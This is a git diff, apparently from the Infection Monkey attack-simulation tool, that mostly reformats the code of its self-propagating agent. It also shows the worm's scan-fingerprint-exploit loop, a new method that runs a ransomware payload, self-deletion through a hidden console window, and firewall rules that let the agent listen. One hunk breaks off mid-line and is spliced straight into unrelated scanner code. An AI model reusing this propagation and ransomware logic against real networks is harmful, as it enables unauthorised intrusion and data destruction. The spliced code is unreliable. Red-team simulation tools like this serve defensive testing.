+ max_find=WormConfiguration.victims_max_find,
+ stop_callback=ControlClient.check_for_stop,
+ )
+ is_empty = True
+ for machine in machines:
+ if ControlClient.check_for_stop():
+ break
+
+ is_empty = False
+ for finger in self._fingerprint:
+ LOG.info(
+ "Trying to get OS fingerprint from %r with module %s",
+ machine,
+ finger.__class__.__name__,
+ )
+ try:
+ finger.get_host_fingerprint(machine)
+ except BaseException as exc:
+ LOG.error(
+ "Failed to run fingerprinter %s, exception %s"
+ % finger.__class__.__name__,
+ str(exc),
+ )
+
+ ScanTelem(machine).send()
+
+ # skip machines that we've already exploited
+ if machine in self._exploited_machines:
+ LOG.debug("Skipping %r - already exploited", machine)
+ continue
+ elif machine in self._fail_exploitation_machines:
+ if WormConfiguration.retry_failed_explotation:
+ LOG.debug("%r - exploitation failed before, trying again", machine)
+ else:
+ LOG.debug("Skipping %r - exploitation failed before", machine)
+ continue
+
+ if self._monkey_tunnel:
+ self._monkey_tunnel.set_tunnel_for_host(machine)
+ if self._default_server:
+ if self._network.on_island(self._default_server):
+ machine.set_default_server(
+ get_interface_to_target(machine.ip_addr)
+ + (":" + self._default_server_port if self._default_server_port else "")
+ )
+ else:
+ machine.set_default_server(self._default_server)
+ LOG.debug(
+ "Default server for machine: %r set to %s"
+ % (machine, machine.default_server)
+ )
+
+ # Order exploits according to their type
+ self._exploiters = sorted(
+ self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value
+ )
+ host_exploited = False
+ for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
+ if self.try_exploiting(machine, exploiter):
+ host_exploited = True
+ VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send()
+ if exploiter.RUNS_AGENT_ON_SUCCESS:
+ break # if adding machine to exploited, won't try other exploits
+ # on it
+ if not host_exploited:
+ self._fail_exploitation_machines.add(machine)
+ VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send()
+ if not self._keep_running:
+ break
+
+ if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
+ time_to_sleep = WormConfiguration.timeout_between_iterations
+ LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
+ time.sleep(time_to_sleep)
+
+ if self._keep_running and WormConfiguration.alive:
+ LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
+ elif not WormConfiguration.alive:
+ LOG.info("Marked not alive from configuration")
+
def upgrade_to_64_if_needed(self):
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
@@ -279,7 +316,9 @@ class InfectionMonkey(object):
InfectionMonkey.close_tunnel()
firewall.close()
else:
- StateTelem(is_done=True, version=get_version()).send() # Signal the server (before closing the tunnel)
+ StateTelem(
+ is_done=True, version=get_version()
+ ).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
@@ -291,7 +330,9 @@ class InfectionMonkey(object):
@staticmethod
def close_tunnel():
- tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
+ tunnel_address = (
+ ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0]
+ )
if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address)
@@ -301,18 +342,23 @@ class InfectionMonkey(object):
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
T1107Telem(status, get_monkey_dir_path()).send()
- if WormConfiguration.self_delete_in_cleanup \
- and -1 == sys.executable.find('python'):
+ if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find("python"):
try:
status = None
if "win32" == sys.platform:
from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE
+
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
- subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
- stdin=None, stdout=None, stderr=None,
- close_fds=True, startupinfo=startupinfo)
+ subprocess.Popen(
+ DELAY_DELETE_CMD % {"file_path": sys.executable},
+ stdin=None,
+ stdout=None,
+ stderr=None,
+ close_fds=True,
+ startupinfo=startupinfo,
+ )
else:
os.remove(sys.executable)
status = ScanStatus.USED
@@ -325,10 +371,10 @@ class InfectionMonkey(object):
def send_log(self):
monkey_log_path = get_monkey_log_path()
if os.path.exists(monkey_log_path):
- with open(monkey_log_path, 'r') as f:
+ with open(monkey_log_path, "r") as f:
log = f.read()
else:
- log = ''
+ log = ""
ControlClient.send_log(log)
@@ -340,8 +386,12 @@ class InfectionMonkey(object):
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
- LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
- exploiter.__class__.__name__, machine, machine.os)
+ LOG.info(
+ "Skipping exploiter %s host:%r, os %s is not supported",
+ exploiter.__class__.__name__,
+ machine,
+ machine.os,
+ )
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
@@ -353,17 +403,32 @@ class InfectionMonkey(object):
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
else:
- LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
+ LOG.info(
+ "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__
+ )
except ExploitingVulnerableMachineError as exc:
- LOG.error("Exception while attacking %s using %s: %s",
- machine, exploiter.__class__.__name__, exc)
+ LOG.error(
+ "Exception while attacking %s using %s: %s",
+ machine,
+ exploiter.__class__.__name__,
+ exc,
+ )
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
except FailedExploitationError as e:
- LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
+ LOG.info(
+ "Failed exploiting %r with exploiter %s, %s",
+ machine,
+ exploiter.__class__.__name__,
+ e,
+ )
except Exception as exc:
- LOG.exception("Exception while attacking %s using %s: %s",
- machine, exploiter.__class__.__name__, exc)
+ LOG.exception(
+ "Exception while attacking %s using %s: %s",
+ machine,
+ exploiter.__class__.__name__,
+ exc,
+ )
finally:
exploiter.send_exploit_telemetry(result)
return False
@@ -377,8 +442,7 @@ class InfectionMonkey(object):
if RUNS_AGENT_ON_SUCCESS:
self._exploited_machines.add(machine)
- LOG.info("Successfully propagated to %s using %s",
- machine, exploiter.__class__.__name__)
+ LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
@@ -388,9 +452,9 @@ class InfectionMonkey(object):
def set_default_port(self):
try:
- self._default_server_port = self._default_server.split(':')[1]
+ self._default_server_port = self._default_server.split(":")[1]
except KeyError:
- self._default_server_port = ''
+ self._default_server_port = ""
def set_default_server(self):
"""
@@ -399,10 +463,19 @@ class InfectionMonkey(object):
"""
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
raise PlannedShutdownException(
- "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
+ "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)
+ )
self._default_server = WormConfiguration.current_server
LOG.debug("default server set to: %s" % self._default_server)
def log_arguments(self):
arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()])
LOG.info(f"Monkey started with arguments: {arg_string}")
+
+ @staticmethod
+ def run_ransomware():
+ try:
+ ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware)
+ ransomware_payload.run_payload()
+ except Exception as ex:
+ LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}")
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index 6248f4d2b..3691ac470 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -3,7 +3,7 @@ import os
import platform
import sys
-__author__ = 'itay.mizeretz'
+
from PyInstaller.utils.hooks import collect_data_files
diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
index 2d14156b3..e056512d2 100644
--- a/monkey/infection_monkey/monkeyfs.py
+++ b/monkey/infection_monkey/monkeyfs.py
@@ -1,9 +1,7 @@
import os
from io import BytesIO
-__author__ = 'hoffer'
-
-MONKEYFS_PREFIX = 'monkeyfs://'
+MONKEYFS_PREFIX = "monkeyfs://"
open_orig = open
@@ -11,11 +9,10 @@ open_orig = open
class VirtualFile(BytesIO):
_vfs = {} # virtual File-System
- def __init__(self, name, mode='r', buffering=None):
+ def __init__(self, name, mode="r", buffering=None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
- self._mode = mode
if name in VirtualFile._vfs:
super(VirtualFile, self).__init__(self._vfs[name])
else:
@@ -53,7 +50,7 @@ def virtual_path(name):
# noinspection PyShadowingBuiltins
-def open(name, mode='r', buffering=-1):
+def open(name, mode="r", buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py
index b48c01111..0ff0cb8e0 100644
--- a/monkey/infection_monkey/network/HostFinger.py
+++ b/monkey/infection_monkey/network/HostFinger.py
@@ -21,8 +21,8 @@ class HostFinger(Plugin):
def init_service(self, services, service_key, port):
services[service_key] = {}
- services[service_key]['display_name'] = self._SCANNED_SERVICE
- services[service_key]['port'] = port
+ services[service_key]["display_name"] = self._SCANNED_SERVICE
+ services[service_key]["port"] = port
@abstractmethod
def get_host_fingerprint(self, host):
diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py
index 05a457b0c..e69de29bb 100644
--- a/monkey/infection_monkey/network/__init__.py
+++ b/monkey/infection_monkey/network/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itamar'
diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py
index e7a60be17..d5f6baaf2 100644
--- a/monkey/infection_monkey/network/elasticfinger.py
+++ b/monkey/infection_monkey/network/elasticfinger.py
@@ -12,14 +12,14 @@ from infection_monkey.network.HostFinger import HostFinger
ES_PORT = 9200
ES_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
-__author__ = 'danielg'
class ElasticFinger(HostFinger):
"""
- Fingerprints elastic search clusters, only on port 9200
+ Fingerprints elastic search clusters, only on port 9200
"""
- _SCANNED_SERVICE = 'Elastic search'
+
+ _SCANNED_SERVICE = "Elastic search"
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -31,13 +31,13 @@ class ElasticFinger(HostFinger):
:return: Success/failure, data is saved in the host struct
"""
try:
- url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
+ url = "http://%s:%s/" % (host.ip_addr, ES_PORT)
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
data = json.loads(req.text)
self.init_service(host.services, ES_SERVICE, ES_PORT)
- host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
- host.services[ES_SERVICE]['name'] = data['name']
- host.services[ES_SERVICE]['version'] = data['version']['number']
+ host.services[ES_SERVICE]["cluster_name"] = data["cluster_name"]
+ host.services[ES_SERVICE]["name"] = data["name"]
+ host.services[ES_SERVICE]["version"] = data["version"]["number"]
return True
except Timeout:
LOG.debug("Got timeout while trying to read header information")
diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
index a88427650..0851a575f 100644
--- a/monkey/infection_monkey/network/firewall.py
+++ b/monkey/infection_monkey/network/firewall.py
@@ -4,9 +4,15 @@ import sys
def _run_netsh_cmd(command, args):
- cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items())
- if value])), stdout=subprocess.PIPE)
- return cmd.stdout.read().strip().lower().endswith('ok.')
+ cmd = subprocess.Popen(
+ "netsh %s %s"
+ % (
+ command,
+ " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]),
+ ),
+ stdout=subprocess.PIPE,
+ )
+ return cmd.stdout.read().strip().lower().endswith("ok.")
class FirewallApp(object):
@@ -25,7 +31,7 @@ class FirewallApp(object):
def __enter__(self):
return self
- def __exit__(self, exc_type, value, traceback):
+ def __exit__(self, _exc_type, value, traceback):
self.close()
def close(self):
@@ -38,44 +44,43 @@ class WinAdvFirewall(FirewallApp):
def is_enabled(self):
try:
- cmd = subprocess.Popen('netsh advfirewall show currentprofile', stdout=subprocess.PIPE)
+ cmd = subprocess.Popen("netsh advfirewall show currentprofile", stdout=subprocess.PIPE)
out = cmd.stdout.readlines()
- for l in out:
- if l.startswith('State'):
- state = l.split()[-1].strip()
+ for line in out:
+ if line.startswith("State"):
+ state = line.split()[-1].strip()
return state == "ON"
- except:
+ except Exception:
return None
- def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
- netsh_args = {'name': name,
- 'dir': direction,
- 'action': action,
- 'program': program}
+ def add_firewall_rule(
+ self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs
+ ):
+ netsh_args = {"name": name, "dir": direction, "action": action, "program": program}
netsh_args.update(kwargs)
try:
- if _run_netsh_cmd('advfirewall firewall add rule', netsh_args):
+ if _run_netsh_cmd("advfirewall firewall add rule", netsh_args):
self._rules[name] = netsh_args
return True
else:
return False
- except:
+ except Exception:
return None
def remove_firewall_rule(self, name="Firewall", **kwargs):
- netsh_args = {'name': name}
+ netsh_args = {"name": name}
netsh_args.update(kwargs)
try:
- if _run_netsh_cmd('advfirewall firewall delete rule', netsh_args):
+ if _run_netsh_cmd("advfirewall firewall delete rule", netsh_args):
if name in self._rules:
del self._rules[name]
return True
else:
return False
- except:
+ except Exception:
return None
def listen_allowed(self, **kwargs):
@@ -83,10 +88,12 @@ class WinAdvFirewall(FirewallApp):
return True
for rule in list(self._rules.values()):
- if rule.get('program') == sys.executable and \
- 'in' == rule.get('dir') and \
- 'allow' == rule.get('action') and \
- 4 == len(list(rule.keys())):
+ if (
+ rule.get("program") == sys.executable
+ and "in" == rule.get("dir")
+ and "allow" == rule.get("action")
+ and 4 == len(list(rule.keys()))
+ ):
return True
return False
@@ -94,7 +101,7 @@ class WinAdvFirewall(FirewallApp):
try:
for rule in list(self._rules.keys()):
self.remove_firewall_rule(name=rule)
- except:
+ except Exception:
pass
@@ -104,48 +111,58 @@ class WinFirewall(FirewallApp):
def is_enabled(self):
try:
- cmd = subprocess.Popen('netsh firewall show state', stdout=subprocess.PIPE)
+ cmd = subprocess.Popen("netsh firewall show state", stdout=subprocess.PIPE)
out = cmd.stdout.readlines()
- for l in out:
- if l.startswith('Operational mode'):
- state = l.split('=')[-1].strip()
- elif l.startswith('The service has not been started.'):
+ for line in out:
+ if line.startswith("Operational mode"):
+ state = line.split("=")[-1].strip()
+ elif line.startswith("The service has not been started."):
return False
return state == "Enable"
- except:
+ except Exception:
return None
- def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable,
- **kwargs):
- netsh_args = {'name': name,
- 'mode': mode,
- 'program': program}
+ def add_firewall_rule(
+ self,
+ rule="allowedprogram",
+ name="Firewall",
+ mode="ENABLE",
+ program=sys.executable,
+ **kwargs,
+ ):
+ netsh_args = {"name": name, "mode": mode, "program": program}
netsh_args.update(kwargs)
try:
- if _run_netsh_cmd('firewall add %s' % rule, netsh_args):
- netsh_args['rule'] = rule
+ if _run_netsh_cmd("firewall add %s" % rule, netsh_args):
+ netsh_args["rule"] = rule
self._rules[name] = netsh_args
return True
else:
return False
- except:
+ except Exception:
return None
- def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable,
- **kwargs):
- netsh_args = {'program': program}
+ def remove_firewall_rule(
+ self,
+ rule="allowedprogram",
+ name="Firewall",
+ mode="ENABLE",
+ program=sys.executable,
+ **kwargs,
+ ):
+ netsh_args = {"program": program}
netsh_args.update(kwargs)
try:
- if _run_netsh_cmd('firewall delete %s' % rule, netsh_args):
+ if _run_netsh_cmd("firewall delete %s" % rule, netsh_args):
if name in self._rules:
del self._rules[name]
return True
else:
return False
- except:
+ except Exception:
return None
def listen_allowed(self, **kwargs):
@@ -153,7 +170,7 @@ class WinFirewall(FirewallApp):
return True
for rule in list(self._rules.values()):
- if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
+ if rule.get("program") == sys.executable and "ENABLE" == rule.get("mode"):
return True
return False
@@ -161,14 +178,14 @@ class WinFirewall(FirewallApp):
try:
for rule in list(self._rules.values()):
self.remove_firewall_rule(**rule)
- except:
+ except Exception:
pass
if sys.platform == "win32":
try:
- win_ver = int(platform.version().split('.')[0])
- except:
+ win_ver = int(platform.version().split(".")[0])
+ except Exception:
win_ver = 0
if win_ver > 5:
app = WinAdvFirewall()
diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py
index 86c48cbde..8fa6071e7 100644
--- a/monkey/infection_monkey/network/httpfinger.py
+++ b/monkey/infection_monkey/network/httpfinger.py
@@ -10,7 +10,8 @@ class HTTPFinger(HostFinger):
"""
Goal is to recognise HTTP servers, where what we currently care about is apache.
"""
- _SCANNED_SERVICE = 'HTTP'
+
+ _SCANNED_SERVICE = "HTTP"
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -35,11 +36,11 @@ class HTTPFinger(HostFinger):
for url in (https, http): # start with https and downgrade
try:
with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123
- server = req.headers.get('Server')
- ssl = True if 'https://' in url else False
- self.init_service(host.services, ('tcp-' + port[1]), port[0])
- host.services['tcp-' + port[1]]['name'] = 'http'
- host.services['tcp-' + port[1]]['data'] = (server, ssl)
+ server = req.headers.get("Server")
+ ssl = True if "https://" in url else False
+ self.init_service(host.services, ("tcp-" + port[1]), port[0])
+ host.services["tcp-" + port[1]]["name"] = "http"
+ host.services["tcp-" + port[1]]["data"] = (server, ssl)
LOG.info("Port %d is open on host %s " % (port[0], host))
break # https will be the same on the same port
except Timeout:
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 0aafe0540..474281f68 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -1,9 +1,7 @@
-import ipaddress
import itertools
import socket
import struct
-from random import randint
-from subprocess import check_output
+from random import randint # noqa: DUO102
import netifaces
import psutil
@@ -17,7 +15,7 @@ from infection_monkey.utils.environment import is_windows_os
TIMEOUT = 15
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
-SIOCGIFNETMASK = 0x891b # get network PA mask
+SIOCGIFNETMASK = 0x891B # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
@@ -28,36 +26,40 @@ def get_host_subnets():
Each subnet item contains the host IP in that network + the subnet.
:return: List of dict, keys are "addr" and "subnet"
"""
- ipv4_nets = [netifaces.ifaddresses(interface)[netifaces.AF_INET]
- for interface in netifaces.interfaces()
- if netifaces.AF_INET in netifaces.ifaddresses(interface)
- ]
+ ipv4_nets = [
+ netifaces.ifaddresses(interface)[netifaces.AF_INET]
+ for interface in netifaces.interfaces()
+ if netifaces.AF_INET in netifaces.ifaddresses(interface)
+ ]
# flatten
ipv4_nets = itertools.chain.from_iterable(ipv4_nets)
# remove loopback
- ipv4_nets = [network for network in ipv4_nets if network['addr'] != '127.0.0.1']
+ ipv4_nets = [network for network in ipv4_nets if network["addr"] != "127.0.0.1"]
# remove auto conf
- ipv4_nets = [network for network in ipv4_nets if not network['addr'].startswith('169.254')]
+ ipv4_nets = [network for network in ipv4_nets if not network["addr"].startswith("169.254")]
for network in ipv4_nets:
- if 'broadcast' in network:
- network.pop('broadcast')
+ if "broadcast" in network:
+ network.pop("broadcast")
for attr in network:
network[attr] = network[attr]
return ipv4_nets
if is_windows_os():
+
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
def get_routes():
raise NotImplementedError()
+
+
else:
from fcntl import ioctl
def local_ips():
- valid_ips = [network['addr'] for network in get_host_subnets()]
+ valid_ips = [network["addr"] for network in get_host_subnets()]
return valid_ips
def get_routes(): # based on scapy implementation for route parsing
@@ -76,8 +78,8 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24])
routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr))
- for l in f.readlines()[1:]:
- iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()]
+ for line in f.readlines()[1:]:
+ iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in line.split()]
flags = int(flags, 16)
if flags & RTF_UP == 0:
continue
@@ -85,7 +87,8 @@ else:
continue
try:
ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff))
- except IOError: # interface is present in routing tables but does not have any assigned IP
+ except IOError: # interface is present in routing tables but does not have any
+ # assigned IP
ifaddr = "0.0.0.0"
else:
addrfamily = struct.unpack("h", ifreq[16:18])[0]
@@ -93,10 +96,15 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24])
else:
continue
- routes.append((socket.htonl(int(dst, 16)) & 0xffffffff,
- socket.htonl(int(msk, 16)) & 0xffffffff,
- socket.inet_ntoa(struct.pack("I", int(gw, 16))),
- iff, ifaddr))
+ routes.append(
+ (
+ socket.htonl(int(dst, 16)) & 0xFFFFFFFF,
+ socket.htonl(int(msk, 16)) & 0xFFFFFFFF,
+ socket.inet_ntoa(struct.pack("I", int(gw, 16))),
+ iff,
+ ifaddr,
+ )
+ )
f.close()
return routes
@@ -143,24 +151,8 @@ def get_interfaces_ranges():
res = []
ifs = get_host_subnets()
for net_interface in ifs:
- address_str = net_interface['addr']
- netmask_str = net_interface['netmask']
- ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str))
+ address_str = net_interface["addr"]
+ netmask_str = net_interface["netmask"]
# limit subnet scans to class C only
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
return res
-
-
-if is_windows_os():
- def get_ip_for_connection(target_ip):
- return None
-else:
- def get_ip_for_connection(target_ip):
- try:
- query_str = 'ip route get %s' % target_ip
- resp = check_output(query_str.split())
- substr = resp.split()
- src = substr[substr.index('src') + 1]
- return src
- except Exception:
- return None
diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
index 8d934677e..7132b80ff 100644
--- a/monkey/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -5,8 +5,6 @@ import socket
import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
-__author__ = 'Maor Rayzin'
-
LOG = logging.getLogger(__name__)
@@ -15,19 +13,19 @@ class MSSQLFinger(HostFinger):
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
- _SCANNED_SERVICE = 'MSSQL'
+ _SCANNED_SERVICE = "MSSQL"
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
- :arg:
- host (VictimHost): The MS-SSQL Server to query for information.
+ :arg:
+ host (VictimHost): The MS-SSQL Server to query for information.
- :returns:
- Discovered server information written to the Host info struct.
- True if success, False otherwise.
+ :returns:
+ Discovered server information written to the Host info struct.
+ True if success, False otherwise.
"""
# Create a UDP socket and sets a timeout
@@ -37,43 +35,56 @@ class MSSQLFinger(HostFinger):
# The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
- message = '\x03'
+ message = "\x03"
# Encode the message as a bytesarray
message = message.encode()
# send data and receive response
try:
- LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
+ LOG.info("Sending message to requested host: {0}, {1}".format(host, message))
sock.sendto(message, server_address)
data, server = sock.recvfrom(self.BUFFER_SIZE)
except socket.timeout:
- LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
+ LOG.info(
+ "Socket timeout reached, maybe browser service on host: {0} doesnt "
+ "exist".format(host)
+ )
sock.close()
return False
except socket.error as e:
if e.errno == errno.ECONNRESET:
- LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
- .format(host))
+ LOG.info(
+ "Connection was forcibly closed by the remote host. The host: {0} is "
+ "rejecting the packet.".format(host)
+ )
else:
- LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.',
- exc_info=True)
+ LOG.error(
+ "An unknown socket error occurred while trying the mssql fingerprint, "
+ "closing socket.",
+ exc_info=True,
+ )
sock.close()
return False
- self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
+ self.init_service(
+ host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT
+ )
# Loop through the server data
- instances_list = data[3:].decode().split(';;')
- LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
+ instances_list = data[3:].decode().split(";;")
+ LOG.info("{0} MSSQL instances found".format(len(instances_list)))
for instance in instances_list:
- instance_info = instance.split(';')
+ instance_info = instance.split(";")
if len(instance_info) > 1:
host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
- # Each instance's info is nested under its own name, if there are multiple instances
+ # Each instance's info is nested under its own name, if there are multiple
+ # instances
# each will appear under its own name
- host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
+ host.services[self._SCANNED_SERVICE][instance_info[1]][
+ instance_info[i - 1]
+ ] = instance_info[i]
# Close the socket
sock.close()
diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py
index 968e5361f..c04814c9f 100644
--- a/monkey/infection_monkey/network/mysqlfinger.py
+++ b/monkey/infection_monkey/network/mysqlfinger.py
@@ -6,15 +6,16 @@ from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string
MYSQL_PORT = 3306
-SQL_SERVICE = 'mysqld-3306'
+SQL_SERVICE = "mysqld-3306"
LOG = logging.getLogger(__name__)
class MySQLFinger(HostFinger):
"""
- Fingerprints mysql databases, only on port 3306
+ Fingerprints mysql databases, only on port 3306
"""
- _SCANNED_SERVICE = 'MySQL'
+
+ _SCANNED_SERVICE = "MySQL"
SOCKET_TIMEOUT = 0.5
HEADER_SIZE = 4 # in bytes
@@ -36,7 +37,7 @@ class MySQLFinger(HostFinger):
response, curpos = struct_unpack_tracker(header, 0, "I")
response = response[0]
- response_length = response & 0xff # first byte is significant
+ response_length = response & 0xFF # first byte is significant
data = s.recv(response_length)
# now we can start parsing
protocol, curpos = struct_unpack_tracker(data, 0, "B")
@@ -47,14 +48,16 @@ class MySQLFinger(HostFinger):
LOG.debug("Mysql server returned error")
return False
- version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
+ version, curpos = struct_unpack_tracker_string(
+ data, curpos
+ ) # special coded to solve string parsing
version = version[0].decode()
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
- host.services[SQL_SERVICE]['version'] = version
- version = version.split('-')[0].split('.')
- host.services[SQL_SERVICE]['major_version'] = version[0]
- host.services[SQL_SERVICE]['minor_version'] = version[1]
- host.services[SQL_SERVICE]['build_version'] = version[2]
+ host.services[SQL_SERVICE]["version"] = version
+ version = version.split("-")[0].split(".")
+ host.services[SQL_SERVICE]["major_version"] = version[0]
+ host.services[SQL_SERVICE]["minor_version"] = version[1]
+ host.services[SQL_SERVICE]["build_version"] = version[2]
thread_id, curpos = struct_unpack_tracker(data, curpos, " 1:
for subnet_str in WormConfiguration.inaccessible_subnets:
- if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str):
- # If machine has IPs from 2 different subnets in the same group, there's no point checking the other
+ if NetworkScanner._is_any_ip_in_subnet(
+ [str(x) for x in self._ip_addresses], subnet_str
+ ):
+ # If machine has IPs from 2 different subnets in the same group, there's no
+ # point checking the other
# subnet.
for other_subnet_str in WormConfiguration.inaccessible_subnets:
if other_subnet_str == subnet_str:
continue
- if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses],
- other_subnet_str):
+ if not NetworkScanner._is_any_ip_in_subnet(
+ [str(x) for x in self._ip_addresses], other_subnet_str
+ ):
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
break
@@ -69,12 +77,17 @@ class NetworkScanner(object):
:param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances
"""
- # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be the best decision
- # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (pps and bw)
- # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher than CPU core size
+ # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be
+ # the best decision
+ # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (
+ # pps and bw)
+ # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher
+ # than CPU core size
# But again, balance
pool = Pool(ITERATION_BLOCK_SIZE)
- victim_generator = VictimHostGenerator(self._ranges, WormConfiguration.blocked_ips, local_ips())
+ victim_generator = VictimHostGenerator(
+ self._ranges, WormConfiguration.blocked_ips, local_ips()
+ )
victims_count = 0
for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE):
diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
index fd19550a3..2f2b2719b 100644
